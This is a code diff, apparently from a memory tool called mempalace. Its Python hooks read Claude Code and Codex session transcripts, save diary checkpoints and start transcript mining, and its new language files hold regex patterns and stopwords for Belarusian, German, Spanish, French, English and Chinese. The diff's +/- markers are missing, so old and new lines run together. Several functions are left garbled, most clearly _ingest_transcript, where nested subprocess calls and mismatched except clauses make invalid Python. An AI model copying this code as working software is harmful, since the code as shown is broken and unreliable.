def _extract_recent_messages(transcript_path: str, count: int = _RECENT_MSG_COUNT) -> list[str]:
"""Extract the last N user messages from a JSONL transcript."""
path = Path(transcript_path).expanduser()
if not path.is_file():
return []
messages = []
try:
with open(path, encoding="utf-8", errors="replace") as f:
for line in f:
try:
entry = json.loads(line)
# Claude Code format
msg = entry.get("message") or entry.get("event_message") or {}
if isinstance(msg, dict) and msg.get("role") == "user":
content = msg.get("content", "")
if isinstance(content, list):
content = " ".join(
b.get("text", "") for b in content if isinstance(b, dict)
)
if not isinstance(content, str) or not content.strip():
continue
if "<command-message>" in content or "<system-reminder>" in content:
continue
messages.append(content.strip()[:200])
# Codex CLI format
elif entry.get("type") == "event_msg":
payload = entry.get("payload", {})
if isinstance(payload, dict) and payload.get("type") == "user_message":
text = payload.get("message", "")
if isinstance(text, str) and text.strip():
if "<command-message>" not in text:
messages.append(text.strip()[:200])
except (json.JSONDecodeError, AttributeError):
pass
except OSError:
return []
return messages[-count:]
_THEME_STOPWORDS = frozenset(
"the a an and or but in on at to for of is it i me my you your we our "
"this that with from by was were be been are not no yes can do did dont "
"will would should could have has had lets let just also like so if then "
"ok okay sure yeah hey hi here there what when where how why which some "
"all any each every about into out up down over after before between "
"get got make made need want use used using check look see run try "
"know think right now still already really very much more most too "
"file files code one two new first last next thing things way well".split()
)
def _extract_themes(messages: list[str], max_themes: int = 3) -> list[str]:
"""Pull 2-3 distinctive topic words from recent messages.
Note: stopword list is English-only; non-English corpora will produce noisy themes.
"""
from collections import Counter
words: Counter[str] = Counter()
for msg in messages:
for word in msg.lower().split():
# Strip punctuation, keep words 4+ chars
clean = word.strip(".,;:!?\"'`()[]{}#<>/\\-_=+@$%^&*~")
if len(clean) >= 4 and clean not in _THEME_STOPWORDS and clean.isalpha():
words[clean] += 1
return [w for w, _ in words.most_common(max_themes)]
def _save_diary_direct(
transcript_path: str,
session_id: str,
wing: str = "",
toast: bool = False,
) -> dict:
"""Write a diary checkpoint by calling the tool function directly (no MCP roundtrip).
If `wing` is set, the entry lands in that wing (typically the project wing
derived from the transcript path). Otherwise falls back to `tool_diary_write`'s
default of `wing_session-hook`.
Returns {"count": N, "themes": [...]} on success, {"count": 0} on failure.
"""
messages = _extract_recent_messages(transcript_path)
if not messages:
_log("No recent messages to save")
return {"count": 0}
themes = _extract_themes(messages)
# Build a compressed diary entry from recent conversation
now = datetime.now()
topics = "|".join(m[:80] for m in messages[-10:])
entry = (
f"CHECKPOINT:{now.strftime('%Y-%m-%d')}|session:{session_id}"
f"|msgs:{len(messages)}|recent:{topics}"
)
try:
from .mcp_server import tool_diary_write
result = tool_diary_write(
agent_name="session-hook",
entry=entry,
topic="checkpoint",
wing=wing,
)
if result.get("success"):
_log(f"Diary checkpoint saved: {result.get('entry_id', '?')}")
# Write state for ack tool to read
try:
ack_file = STATE_DIR / "last_checkpoint"
ack_file.write_text(
json.dumps({"msgs": len(messages), "ts": now.isoformat()}),
encoding="utf-8",
)
except OSError:
pass
if toast:
_desktop_toast(f"Checkpoint saved \u2014 {len(messages)} messages archived")
return {"count": len(messages), "themes": themes}
else:
_log(f"Diary checkpoint failed: {result.get('error', 'unknown')}")
except Exception as e:
_log(f"Diary checkpoint error: {e}")
return {"count": 0}
def _ingest_transcript(transcript_path: str):
"""Mine a Claude Code session transcript into the palace as a conversation."""
path = Path(transcript_path).expanduser()
if not path.is_file() or path.stat().st_size < 100:
return
from .config import MempalaceConfig
try:
MempalaceConfig() # validate config loads
except Exception:
return
try:
STATE_DIR.mkdir(parents=True, exist_ok=True)
log_path = STATE_DIR / "hook.log"
STATE_DIR.mkdir(parents=True, exist_ok=True)
with open(log_path, "a") as log_f:
subprocess.run(
[sys.executable, "-m", "mempalace", "mine", mine_dir],
subprocess.Popen(
[
_mempalace_python(),
"-m",
"mempalace",
"mine",
str(path.parent),
"--mode",
"convos",
"--wing",
"sessions",
],
stdout=log_f,
stderr=log_f,
timeout=60,
)
except (OSError, subprocess.TimeoutExpired):
_log(f"Transcript ingest started: {path.name}")
except OSError:
pass
@@ -202,6 +515,39 @@ def _parse_harness_input(data: dict, harness: str) -> dict:
}
def _wing_from_transcript_path(transcript_path: str) -> str:
"""Derive a project wing name from a Claude Code transcript path.
Claude Code encodes the project's source directory by replacing path
separators with dashes, producing folders like:
~/.claude/projects/-home-<user>-Projects-<project>/session.jsonl
~/.claude/projects/-home-<user>-dev-<parent>-<project>/session.jsonl
~/.claude/projects/-Users-<user>-<folder>-<project>/session.jsonl
The project directory name is the final dash-separated token of the
encoded folder. Returns ``wing_<project>`` (lowercased, spaces → ``_``).
Falls back to ``wing_sessions`` if the path does not match a Claude Code
project-folder layout.
"""
# Normalize path separators for cross-platform (Windows backslashes)
normalized = transcript_path.replace("\\", "/")
# Primary: pull the encoded project folder out of ``.claude/projects/``
# and take its last dash-separated token.
match = re.search(r"/\.claude/projects/-([^/]+)", normalized)
if match:
encoded = match.group(1)
project = encoded.rsplit("-", 1)[-1]
if project:
return f"wing_{project.lower().replace(' ', '_')}"
# Legacy fallback: explicit ``-Projects-<name>`` segment, useful for
# transcripts not under the standard Claude Code projects dir.
match = re.search(r"-Projects-([^/]+?)(?:/|$)", normalized)
if match:
project = match.group(1).lower().replace(" ", "_")
return f"wing_{project}"
return "wing_sessions"
def hook_stop(data: dict, harness: str):
"""Stop hook: block every N messages for auto-save."""
parsed = _parse_harness_input(data, harness)
@@ -209,10 +555,29 @@ def hook_stop(data: dict, harness: str):
stop_hook_active = parsed["stop_hook_active"]
transcript_path = parsed["transcript_path"]
# If already in a save cycle, let through (infinite-loop prevention)
# If already in a block-mode save cycle, let through (infinite-loop prevention).
# Silent mode saves directly without returning {"decision":"block"}, so there's
# no loop to prevent — and Claude Code's plugin dispatch sets this flag on every
# fire after the first, which would otherwise suppress all subsequent auto-saves.
if str(stop_hook_active).lower() in ("true", "1", "yes"):
_output({})
return
# Safe default: assume silent mode on any config-read failure so saves
# proceed rather than being silently dropped. Silent mode is the default
# (v3.3.0+), so if we can't read config, behave as if it's still on.
silent_guard = True
try:
from .config import MempalaceConfig
except ImportError as exc:
_log(
f"WARNING: could not import MempalaceConfig for stop guard: {exc}; defaulting to silent mode"
)
else:
try:
silent_guard = MempalaceConfig().hook_silent_save
except AttributeError as exc:
_log(f"WARNING: could not read hook_silent_save: {exc}; defaulting to silent mode")
if not silent_guard:
_output({})
return
# Count human messages
exchange_count = _count_human_messages(transcript_path)
@@ -232,18 +597,62 @@ def hook_stop(data: dict, harness: str):
_log(f"Session {session_id}: {exchange_count} exchanges, {since_last} since last save")
if since_last >= SAVE_INTERVAL and exchange_count > 0:
# Update last save point
try:
last_save_file.write_text(str(exchange_count), encoding="utf-8")
except OSError:
pass
_log(f"TRIGGERING SAVE at exchange {exchange_count}")
# Optional: auto-ingest if MEMPAL_DIR is set
_maybe_auto_ingest(transcript_path)
# Read hook settings from config
from .config import MempalaceConfig
_output({"decision": "block", "reason": STOP_BLOCK_REASON})
try:
config = MempalaceConfig()
silent = config.hook_silent_save
toast = config.hook_desktop_toast
except Exception:
silent = True
toast = False
project_wing = _wing_from_transcript_path(transcript_path)
if silent:
# Save directly via Python API — systemMessage renders in terminal
result = {"count": 0}
if transcript_path:
result = _save_diary_direct(
transcript_path, session_id, wing=project_wing, toast=toast
)
_ingest_transcript(transcript_path)
_maybe_auto_ingest()
# Only advance save marker after successful save
count = result.get("count", 0)
if count > 0:
try:
last_save_file.write_text(str(exchange_count), encoding="utf-8")
except OSError:
pass
themes = result.get("themes", [])
if themes:
tag = " \u2014 " + ", ".join(themes)
else:
tag = ""
_output(
{
"systemMessage": f"\u2726 {count} memories woven into the palace{tag}",
}
)
else:
_output({})
else:
# Legacy: block and ask Claude to save via MCP tools.
# Marker advances before confirmed save — best-effort; if Claude
# fails to save, the checkpoint is lost but won't retry endlessly.
try:
last_save_file.write_text(str(exchange_count), encoding="utf-8")
except OSError:
pass
if transcript_path:
_ingest_transcript(transcript_path)
_maybe_auto_ingest()
reason = STOP_BLOCK_REASON + f" Write diary entry to wing={project_wing}."
_output({"decision": "block", "reason": reason})
else:
_output({})
@@ -270,8 +679,14 @@ def hook_precompact(data: dict, harness: str):
_log(f"PRE-COMPACT triggered for session {session_id}")
# Mine synchronously so data lands before compaction proceeds
_mine_sync(transcript_path)
# Capture tool output via our normalize path before compaction loses it
if transcript_path:
_ingest_transcript(transcript_path)
# Mine MEMPAL_DIR synchronously so project data lands before
# compaction proceeds. Transcript convos were already kicked off
# above via _ingest_transcript.
_mine_sync()
_output({})
+166
View File
@@ -0,0 +1,166 @@
{
"lang": "be",
"label": "Беларуская",
"terms": {
"palace": "палац",
"wing": "крыло",
"hall": "зала",
"closet": "шафа",
"drawer": "шуфляда",
"mine": "майнінг",
"search": "пошук",
"status": "статус",
"init": "ініцыялізацыя",
"repair": "аднаўленне",
"migrate": "міграцыя",
"entity": "аб'ект",
"topic": "тэма"
},
"cli": {
"mine_start": "Майнінг {path}...",
"mine_complete": "Гатова. Створана шаф: {closets}, шуфляд: {drawers}.",
"mine_skip": "Майнінг скончаны. Выкарыстайце --force, каб перамайніць.",
"search_no_results": "Няма вынікаў для: {query}",
"search_results": "Знойдзена {count} вынікаў:",
"status_palace": "Палац: {path}",
"status_wings": "Крылаў: {count}",
"status_closets": "Шаф: {count}",
"status_drawers": "Шуфляд: {count}",
"init_complete": "Палац ініцыялізаваны ў {path}",
"init_exists": "Палац ужо існуе ў {path}",
"repair_complete": "Аднаўленне скончана. Выпраўлена праблем: {fixed}.",
"migrate_complete": "Міграцыя завершана.",
"no_palace": "Палац не знойдзены. Запусціце: mempalace init <дырэкторыя>"
},
"aaak": {
"instruction": "Сцісні да фармату індэкса. Злучкі паміж словамі, вертыкальныя рысы паміж паняткамі. Выдалі падставы і службовыя словы. Захавай дакладнасць імёнаў, нумароў, скланенняў і формаў."
},
"regex": {
"topic_pattern": "[А-ЯЁІЎ][а-яёіў]{2,}|[A-Z][a-z]{2,}|[A-Za-z][A-Za-z0-9_]{2,}",
"stop_words": "і а але бо каб калі калісьці хоць што хто дзе куды адкуль як чаму таму ж не ні так таксама яшчэ ўжо цяпер потым тут там адсюль туды ў на па з са без для над пад пры пра праз супраць замест акрамя сярод вакол уздоўж каля паміж пасля перад да ад у або альбо то ці быццам нібыта вось гэты гэта гэтыя той тая тыя некаторыя кожны кожная кожныя толькі вельмі можа трэба будзе быў была былі ёсць няма",
"quote_pattern": "«\\s*([^»]{10,200})\\s*»|\"([^\"]{10,200})\"",
"action_pattern": "(?:зрабіў|зрабіла|зрабілі|стварыў|стварыла|стварылі|дадаў|дадала|дадалі|абнавіў|абнавіла|абнавілі|наладзіў|наладзіла|наладзілі|пратэставаў|пратэставала|пратэставалі)\\s+[\\wа-яёА-ЯЁІіЎў\\s]{3,30}"
},
"entity": {
"candidate_pattern": "[А-ЯЁІЎ][а-яёіў]{1,19}",
"multi_word_pattern": "[А-ЯЁІЎ][а-яёіў]+(?:\\s+[А-ЯЁІЎ][а-яёіў]+)+",
"person_verb_patterns": [
"\\b{name}\\s+сказа(?:ў|ла|лі)\\b",
"\\b{name}\\s+спыта(?:ў|ла|лі)\\b",
"\\b{name}\\s+адказа(?:ў|ла|лі)\\b",
"\\b{name}\\s+расказа(?:ў|ла|лі)\\b",
"\\b{name}\\s+засмея(?:ўся|лася|ліся)\\b",
"\\b{name}\\s+усміхну(?:ўся|лася|ліся)\\b",
"\\b{name}\\s+заплака(?:ў|ла|лі)\\b",
"\\b{name}\\s+адчу(?:ў|ла|лі)\\b",
"\\b{name}\\s+думае\\b",
"\\b{name}\\s+хоча\\b",
"\\b{name}\\s+кахае\\b",
"\\b{name}\\s+ненавідзіць\\b",
"\\b{name}\\s+ведае\\b",
"\\b{name}\\s+вырашы(?:ў|ла|лі)\\b",
"\\b{name}\\s+напіса(?:ў|ла|лі)\\b",
"\\b{name}\\s+каза(?:ў|ла|лі)\\b",
"\\b{name}\\s+зрабі(?:ў|ла|лі)\\b",
"\\b{name}\\s+спытваецца\\b",
"\\b{name}\\s+адказвае\\b"
],
"pronoun_patterns": [
"\\bён\\b",
"\\bяго\\b",
"\\bяму\\b",
"\\bім\\b",
"\\bяна\\b",
"\\bяе\\b",
"\\bёй\\b",
"\\bёю\\b",
"\\bяны\\b",
"\\bіх\\b",
"\\bімі\\b",
"\\bяно\\b",
"\\bвы\\b",
"\\bвас\\b",
"\\bвам\\b",
"\\bвамі\\b"
],
"dialogue_patterns": [
"^>\\s*{name}[:\\s]",
"^{name}:\\s",
"^\\[{name}\\]",
"\"{name}\\s+сказа(?:ў|ла|лі)"
],
"direct_address_pattern": "\\bпрывітанне[,:!.]?\\s+{name}\\b|\\bвітаю[,:!.]?\\s+{name}\\b|\\bдзякуй[,:!.]?\\s+{name}\\b|\\bдарагі[,:!.]?\\s+{name}\\b|\\bдарагая[,:!.]?\\s+{name}\\b|\\bпаважаны[,:!.]?\\s+{name}\\b|\\bпаважаная[,:!.]?\\s+{name}\\b",
"project_verb_patterns": [
"\\bзбіраю\\s+{name}\\b",
"\\bсабраў\\s+{name}\\b",
"\\bзапускаю\\s+{name}\\b",
"\\bзапусціў\\s+{name}\\b",
"\\bразгарнуў\\s+{name}\\b",
"\\bусталяваў\\s+{name}\\b",
"\\bсістэма\\s+{name}\\b",
"\\bпраект\\s+{name}\\b",
"\\bimport\\s+{name}\\b",
"\\bpip\\s+install\\s+{name}\\b"
],
"stopwords": [
"і",
"ў",
"з",
"са",
"на",
"па",
"да",
"ад",
"у",
"без",
"для",
"над",
"пад",
"пры",
"пра",
"праз",
"супраць",
"замест",
"акрамя",
"сярод",
"вакол",
"уздоўж",
"каля",
"паміж",
"пасля",
"перад",
"або",
"альбо",
"каб",
"калі",
"хоць",
"бо",
"ж",
"не",
"ні",
"так",
"яшчэ",
"ужо",
"цяпер",
"вось",
"гэта",
"тое",
"тут",
"там",
"вельмі",
"толькі",
"можа",
"трэба",
"ёсць",
"няма",
"як",
"што",
"хто",
"чаму",
"таму",
"прывітанне",
"дзякуй",
"ласка"
]
}
}
+82
View File
@@ -40,5 +40,87 @@
"stop_words": "der die das ein eine eines einer einem einen den dem des und oder aber denn weil wenn als ob auch noch schon sehr viel nur nicht mehr kann wird hat ist sind war waren sein haben wurde mit von zu für auf in an um über nach durch",
"quote_pattern": "\\u201E([^\\u201C]{10,200})\\u201C|\"([^\"]{10,200})\"",
"action_pattern": "(?:gebaut|behoben|geschrieben|hinzugefügt|gepusht|gemessen|getestet|überprüft|erstellt|gelöscht|aktualisiert|konfiguriert|bereitgestellt|migriert)\\s+[\\wÄÖÜäöüß\\s]{3,30}"
},
"entity": {
"candidate_pattern": "[A-ZÄÖÜ][a-zäöüß]{1,19}",
"multi_word_pattern": "[A-ZÄÖÜ][a-zäöüß]+(?:\\s+[A-ZÄÖÜ][a-zäöüß]+)+",
"person_verb_patterns": [
"\\b{name}\\s+sagte\\b",
"\\b{name}\\s+fragte\\b",
"\\b{name}\\s+antwortete\\b",
"\\b{name}\\s+erzählte\\b",
"\\b{name}\\s+lachte\\b",
"\\b{name}\\s+lächelte\\b",
"\\b{name}\\s+weinte\\b",
"\\b{name}\\s+fühlte\\b",
"\\b{name}\\s+denkt\\b",
"\\b{name}\\s+will\\b",
"\\b{name}\\s+liebt\\b",
"\\b{name}\\s+hasst\\b",
"\\b{name}\\s+weiß\\b",
"\\b{name}\\s+entschied\\b",
"\\b{name}\\s+schrieb\\b"
],
"pronoun_patterns": [
"\\ber\\b",
"\\bsie\\b",
"\\bes\\b",
"\\bihn\\b",
"\\bihm\\b",
"\\bihr\\b",
"\\bsein\\b",
"\\bihre\\b",
"\\bihnen\\b"
],
"dialogue_patterns": [
"^>\\s*{name}[:\\s]",
"^{name}:\\s",
"^\\[{name}\\]",
"\"{name}\\s+sagte"
],
"direct_address_pattern": "\\bhallo\\s+{name}\\b|\\bhi\\s+{name}\\b|\\bhey\\s+{name}\\b|\\bdanke\\s+{name}\\b|\\bservus\\s+{name}\\b|\\blieber\\s+{name}\\b|\\bliebe\\s+{name}\\b|\\bsehr\\s+geehrter\\s+{name}\\b|\\bsehr\\s+geehrte\\s+{name}\\b",
"project_verb_patterns": [
"\\bbaue\\s+{name}\\b",
"\\bgebaut\\s+{name}\\b",
"\\bstarte\\s+{name}\\b",
"\\bgestartet\\s+{name}\\b",
"\\bdeploye\\s+{name}\\b",
"\\binstalliert\\s+{name}\\b",
"\\bdie\\s+{name}\\s+architektur\\b",
"\\bdie\\s+{name}\\s+pipeline\\b",
"\\bdas\\s+{name}\\s+system\\b",
"\\bdas\\s+{name}\\s+repository\\b",
"\\b{name}\\s+v\\d+\\b",
"\\b{name}\\.py\\b",
"\\bimport\\s+{name}\\b",
"\\bpip\\s+install\\s+{name}\\b"
],
"stopwords": [
"der", "die", "das", "ein", "eine", "eines", "einer", "einem", "einen",
"den", "dem", "des", "und", "oder", "aber", "denn", "weil", "wenn", "als",
"ob", "auch", "noch", "schon", "sehr", "viel", "nur", "nicht", "mehr",
"kann", "wird", "hat", "ist", "sind", "war", "waren", "sein", "haben",
"wurde", "worden", "werden", "mit", "von", "zu", "für", "auf", "in",
"an", "um", "über", "nach", "durch", "bei", "aus", "seit", "vor", "zwischen",
"ich", "du", "er", "sie", "es", "wir", "ihr", "mich", "dich", "mir", "dir",
"uns", "euch", "mein", "dein", "unser", "euer", "ihre", "seine",
"wer", "was", "wann", "wo", "wie", "warum", "welcher", "welche", "welches",
"so", "dann", "jetzt", "heute", "gestern", "morgen", "hier", "dort", "da",
"immer", "nie", "manchmal", "oft", "selten", "bald", "spät",
"ja", "nein", "vielleicht", "gut", "schlecht", "besser", "bitte", "danke",
"hallo", "hi", "hey", "tschüss",
"tag", "tage", "woche", "monat", "jahr", "jahre", "zeit", "welt", "leben",
"mensch", "menschen", "leute", "person", "ding", "dinge", "sache", "sachen",
"teil", "art", "weise", "stelle", "platz", "ort", "zimmer", "haus", "land",
"grund", "frage", "antwort", "fakt", "sinn", "idee", "punkt", "fall", "aspekt",
"beispiel", "version", "nummer", "zahl", "name", "namen", "system", "modell",
"sprache", "technologie", "gesellschaft", "kultur", "geschichte",
"wissenschaft", "zukunft", "erinnerung", "gedächtnis",
"datei", "ordner", "pfad", "schlüssel", "wert", "fehler", "warnung",
"ergebnis", "eingabe", "ausgabe", "quelle", "ziel", "daten", "elemente",
"montag", "dienstag", "mittwoch", "donnerstag", "freitag", "samstag", "sonntag",
"januar", "februar", "märz", "april", "mai", "juni", "juli", "august",
"september", "oktober", "november", "dezember"
]
}
}
+12 -2
View File
@@ -42,7 +42,7 @@
"action_pattern": "(?:built|fixed|wrote|added|pushed|measured|tested|reviewed|created|deleted|updated|configured|deployed|migrated)\\s+[\\w\\s]{3,30}"
},
"entity": {
"candidate_pattern": "[A-Z][a-z]{1,19}",
"candidate_pattern": "[A-Z][a-z]+(?:[A-Z][a-z]+|[A-Z]{2,})+|[A-Z][a-z]{1,19}",
"multi_word_pattern": "[A-Z][a-z]+(?:\\s+[A-Z][a-z]+)+",
"person_verb_patterns": [
"\\b{name}\\s+said\\b",
@@ -140,7 +140,17 @@
"agents", "tools", "others", "guards", "ethics", "regulation",
"learning", "thinking", "memory", "language", "intelligence",
"technology", "society", "culture", "future", "history", "science",
"model", "models", "network", "networks", "training", "inference"
"model", "models", "network", "networks", "training", "inference",
"created", "updated", "deleted", "added", "removed", "modified",
"extracted", "processed", "generated", "compiled", "launched", "installed",
"deployed", "executed", "loaded", "parsed", "validated", "configured",
"total", "summary", "covered", "included", "pending", "failed", "success",
"ready", "active", "disabled", "enabled", "available", "completed",
"auto", "multi", "mini", "micro", "meta", "super", "hybrid",
"context", "bridge", "batch", "local", "global", "native", "cloud",
"before", "after", "during", "often", "always", "never",
"project", "contributor", "software",
"backend", "frontend", "server", "client", "service", "app", "api"
]
}
}
+84
View File
@@ -40,5 +40,89 @@
"stop_words": "el la los las un una unos unas de del al en con por para su sus mi mis tu tus es son está están fue ser estar haber sido como pero más muy también todo todos toda todas este esta estos estas ese esa esos esas que quien cual donde cuando porque aunque sin",
"quote_pattern": "\"([^\"]{10,200})\"|«([^»]{10,200})»",
"action_pattern": "(?:construido|corregido|escrito|añadido|enviado|medido|probado|revisado|creado|eliminado|actualizado|configurado|desplegado|migrado)\\s+[\\wá-ú\\s]{3,30}"
},
"entity": {
"candidate_pattern": "[A-ZÁÉÍÓÚÑÜ][a-záéíóúñü]{1,19}",
"multi_word_pattern": "[A-ZÁÉÍÓÚÑÜ][a-záéíóúñü]+(?:\\s+[A-ZÁÉÍÓÚÑÜ][a-záéíóúñü]+)+",
"person_verb_patterns": [
"\\b{name}\\s+dijo\\b",
"\\b{name}\\s+preguntó\\b",
"\\b{name}\\s+respondió\\b",
"\\b{name}\\s+contó\\b",
"\\b{name}\\s+rió\\b",
"\\b{name}\\s+sonrió\\b",
"\\b{name}\\s+lloró\\b",
"\\b{name}\\s+sintió\\b",
"\\b{name}\\s+piensa\\b",
"\\b{name}\\s+quiere\\b",
"\\b{name}\\s+ama\\b",
"\\b{name}\\s+odia\\b",
"\\b{name}\\s+sabe\\b",
"\\b{name}\\s+decidió\\b",
"\\b{name}\\s+escribió\\b"
],
"pronoun_patterns": [
"\\bél\\b",
"\\bella\\b",
"\\bellos\\b",
"\\bellas\\b",
"\\blo\\b",
"\\bla\\b",
"\\ble\\b",
"\\bles\\b",
"\\bse\\b"
],
"dialogue_patterns": [
"^>\\s*{name}[:\\s]",
"^{name}:\\s",
"^\\[{name}\\]",
"\"{name}\\s+dijo"
],
"direct_address_pattern": "\\bhola\\s+{name}\\b|\\bhey\\s+{name}\\b|\\bhi\\s+{name}\\b|\\bgracias\\s+{name}\\b|\\bquerido\\s+{name}\\b|\\bquerida\\s+{name}\\b|\\bestimado\\s+{name}\\b|\\bestimada\\s+{name}\\b|\\bdon\\s+{name}\\b|\\bdoña\\s+{name}\\b|\\bseñor\\s+{name}\\b|\\bseñora\\s+{name}\\b",
"project_verb_patterns": [
"\\bconstruyo\\s+{name}\\b",
"\\bconstruí\\s+{name}\\b",
"\\barmé\\s+{name}\\b",
"\\blancé\\s+{name}\\b",
"\\bdesplegué\\s+{name}\\b",
"\\binstalé\\s+{name}\\b",
"\\bla\\s+arquitectura\\s+{name}\\b",
"\\bel\\s+pipeline\\s+{name}\\b",
"\\bel\\s+sistema\\s+{name}\\b",
"\\bel\\s+proyecto\\s+{name}\\b",
"\\bel\\s+repositorio\\s+{name}\\b",
"\\b{name}\\s+v\\d+\\b",
"\\b{name}\\.py\\b",
"\\bimport\\s+{name}\\b",
"\\bpip\\s+install\\s+{name}\\b"
],
"stopwords": [
"el", "la", "los", "las", "un", "una", "unos", "unas",
"de", "del", "al", "a", "en", "con", "sin", "por", "para", "sobre",
"entre", "hasta", "desde", "hacia", "contra", "según", "tras",
"y", "o", "u", "ni", "pero", "sino", "aunque", "porque", "pues",
"que", "quien", "quienes", "cual", "cuales", "cuyo", "cuya",
"donde", "cuando", "como", "cuanto", "cuanta",
"yo", "tú", "él", "ella", "nosotros", "vosotros", "ellos", "ellas",
"me", "te", "se", "nos", "os", "lo", "la", "le", "los", "las", "les",
"mi", "mis", "tu", "tus", "su", "sus", "nuestro", "nuestra", "vuestro",
"este", "esta", "estos", "estas", "ese", "esa", "esos", "esas",
"aquel", "aquella", "aquellos", "aquellas", "esto", "eso", "aquello",
"ser", "estar", "haber", "tener", "hacer", "poder", "querer", "saber",
"es", "son", "fue", "fueron", "era", "eran", "está", "están", "estaba",
"he", "ha", "hemos", "han", "había", "hay",
"muy", "mucho", "mucha", "muchos", "muchas", "poco", "poca", "pocos", "pocas",
"más", "menos", "tan", "tanto", "también", "tampoco",
"sí", "no", "quizás", "tal", "vez",
"aquí", "allí", "allá", "ahí", "acá",
"hoy", "ayer", "mañana", "ahora", "antes", "después", "luego", "entonces",
"siempre", "nunca", "jamás", "todavía", "aún", "ya",
"bien", "mal", "mejor", "peor", "bueno", "buena", "malo", "mala",
"gracias", "hola", "adiós", "por favor", "perdón",
"día", "días", "semana", "mes", "año", "años", "tiempo", "vez", "veces",
"cosa", "cosas", "persona", "gente", "mundo", "vida", "casa", "lugar",
"forma", "manera", "parte", "caso", "punto", "idea", "hecho", "razón",
"nombre", "número", "versión", "sistema", "modelo"
]
}
}
+82
View File
@@ -40,5 +40,87 @@
"stop_words": "le la les un une des de du au aux en et ou mais donc or ni car que qui ce cette ces son sa ses mon ma mes ton ta tes leur leurs nous vous ils elles on ne pas plus très bien aussi avec pour dans sur par est sont fait être avoir été comme tout tous toute toutes",
"quote_pattern": "«\\s*([^»]{10,200})\\s*»|\"([^\"]{10,200})\"",
"action_pattern": "(?:construit|corrigé|écrit|ajouté|poussé|mesuré|testé|révisé|créé|supprimé|mis à jour|configuré|déployé|migré)\\s+[\\wà-ÿ\\s]{3,30}"
},
"entity": {
"candidate_pattern": "[A-ZÀÂÄÇÉÈÊËÎÏÔÖÙÛÜŸÆŒ][a-zàâäçéèêëîïôöùûüÿæœ]{1,19}",
"multi_word_pattern": "[A-ZÀÂÄÇÉÈÊËÎÏÔÖÙÛÜŸÆŒ][a-zàâäçéèêëîïôöùûüÿæœ]+(?:\\s+[A-ZÀÂÄÇÉÈÊËÎÏÔÖÙÛÜŸÆŒ][a-zàâäçéèêëîïôöùûüÿæœ]+)+",
"person_verb_patterns": [
"\\b{name}\\s+a\\s+dit\\b",
"\\b{name}\\s+a\\s+demandé\\b",
"\\b{name}\\s+a\\s+répondu\\b",
"\\b{name}\\s+a\\s+raconté\\b",
"\\b{name}\\s+a\\s+ri\\b",
"\\b{name}\\s+a\\s+souri\\b",
"\\b{name}\\s+a\\s+pleuré\\b",
"\\b{name}\\s+a\\s+senti\\b",
"\\b{name}\\s+pense\\b",
"\\b{name}\\s+veut\\b",
"\\b{name}\\s+aime\\b",
"\\b{name}\\s+déteste\\b",
"\\b{name}\\s+sait\\b",
"\\b{name}\\s+a\\s+décidé\\b",
"\\b{name}\\s+a\\s+écrit\\b"
],
"pronoun_patterns": [
"\\bil\\b",
"\\belle\\b",
"\\blui\\b",
"\\bils\\b",
"\\belles\\b",
"\\bleur\\b",
"\\bleurs\\b",
"\\beux\\b",
"\\bse\\b"
],
"dialogue_patterns": [
"^>\\s*{name}[:\\s]",
"^{name}:\\s",
"^\\[{name}\\]",
"\"{name}\\s+a\\s+dit"
],
"direct_address_pattern": "\\bbonjour\\s+{name}\\b|\\bsalut\\s+{name}\\b|\\bmerci\\s+{name}\\b|\\bcher\\s+{name}\\b|\\bchère\\s+{name}\\b|\\bmonsieur\\s+{name}\\b|\\bmadame\\s+{name}\\b|\\bhey\\s+{name}\\b|\\bhi\\s+{name}\\b",
"project_verb_patterns": [
"\\bconstruit\\s+{name}\\b",
"\\blancé\\s+{name}\\b",
"\\bdéployé\\s+{name}\\b",
"\\binstallé\\s+{name}\\b",
"\\bl'architecture\\s+{name}\\b",
"\\ble\\s+pipeline\\s+{name}\\b",
"\\ble\\s+système\\s+{name}\\b",
"\\ble\\s+projet\\s+{name}\\b",
"\\ble\\s+dépôt\\s+{name}\\b",
"\\b{name}\\s+v\\d+\\b",
"\\b{name}\\.py\\b",
"\\bimport\\s+{name}\\b",
"\\bpip\\s+install\\s+{name}\\b"
],
"stopwords": [
"le", "la", "les", "un", "une", "des", "du", "de", "au", "aux",
"en", "dans", "sur", "sous", "avec", "sans", "pour", "par", "vers",
"chez", "entre", "depuis", "pendant", "avant", "après", "jusqu",
"et", "ou", "mais", "donc", "or", "ni", "car", "que", "qui",
"dont", "où", "quand", "comment", "pourquoi", "combien", "lequel",
"ce", "cet", "cette", "ces", "celui", "celle", "ceux", "celles",
"mon", "ma", "mes", "ton", "ta", "tes", "son", "sa", "ses",
"notre", "nos", "votre", "vos", "leur", "leurs",
"je", "tu", "il", "elle", "on", "nous", "vous", "ils", "elles",
"me", "te", "se", "lui", "eux",
"être", "avoir", "faire", "dire", "aller", "voir", "savoir", "pouvoir",
"est", "sont", "était", "étaient", "fut", "furent", "sera", "seront",
"ai", "as", "a", "avons", "avez", "ont", "avait", "avaient",
"très", "bien", "mal", "peu", "beaucoup", "trop", "assez", "aussi",
"plus", "moins", "tant", "si", "tellement",
"oui", "non", "peut-être", "vraiment",
"ici", "là", "là-bas", "partout", "ailleurs",
"aujourd'hui", "hier", "demain", "maintenant", "alors", "ensuite",
"toujours", "jamais", "souvent", "parfois", "déjà", "encore",
"bon", "bonne", "mauvais", "mauvaise", "meilleur", "pire",
"merci", "bonjour", "salut", "au revoir",
"jour", "jours", "semaine", "mois", "année", "temps", "fois",
"chose", "choses", "personne", "gens", "monde", "vie", "maison",
"endroit", "lieu", "partie", "façon", "manière", "sorte", "type",
"cas", "point", "idée", "fait", "raison", "nom", "nombre",
"version", "système", "modèle", "question", "réponse"
]
}
}
+88
View File
@@ -40,5 +40,93 @@
"stop_words": "的 了 在 是 我 有 和 就 不 人 都 一 一个 上 也 很 到 说 要 去 你 会 着 没有 看 好 自己 这 那 她 他 它 们 但是 因为 所以 如果 虽然 然后 或者 而且",
"quote_pattern": "\\u201C([^\\u201D]{10,100})\\u201D|\"([^\"]{10,200})\"",
"action_pattern": "(构建|修复|添加|删除|确认|创建|实现|修理|编写|测试|验证|更新|配置|启动|停止)(?:了|完成|成功)"
},
"entity": {
"boundary_chars": "\\u4E00-\\u9FFF",
